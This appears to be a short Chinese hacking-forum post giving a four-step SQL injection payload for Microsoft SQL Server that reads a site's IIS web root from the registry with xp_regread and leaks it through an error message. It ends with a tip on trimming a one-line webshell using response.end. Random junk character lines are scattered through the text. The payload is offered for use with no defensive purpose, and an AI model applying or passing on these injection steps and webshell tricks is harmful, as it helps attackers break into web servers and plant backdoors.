DB权限暴出网站物理路径代码

admin

1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表
& M0 d3 A4 t# {( }+ _  Q7 W
3 b' U6 t0 z3 M5 t9 ?6 P4 C! i
4 H- J5 S7 c2 Y! W8 z8 ^0 x　　2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’-- 将网站目录插到表字段中

$ P8 J2 F$ U, C# H% B* j
2 X+ ~7 V  D1 i$ ?　　3、and (select top 1 cast([data] as nvarchar(4000) char(124) from [jm_tmp] order by [data] desc)=0 ’//暴出字段


/ g' X  A! B0 W0 O  v& b: }　　4、drop table [jm_tmp]-- 删除此表。

3 A. [9 L2 Z' b# M( H( a" F
3 ?$ u1 @$ }( V  M) Q% u) ?# t+ b: O; k另附上备分专用一句话
# m2 S$ |2 V8 v! m8 i; s( [　　加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小.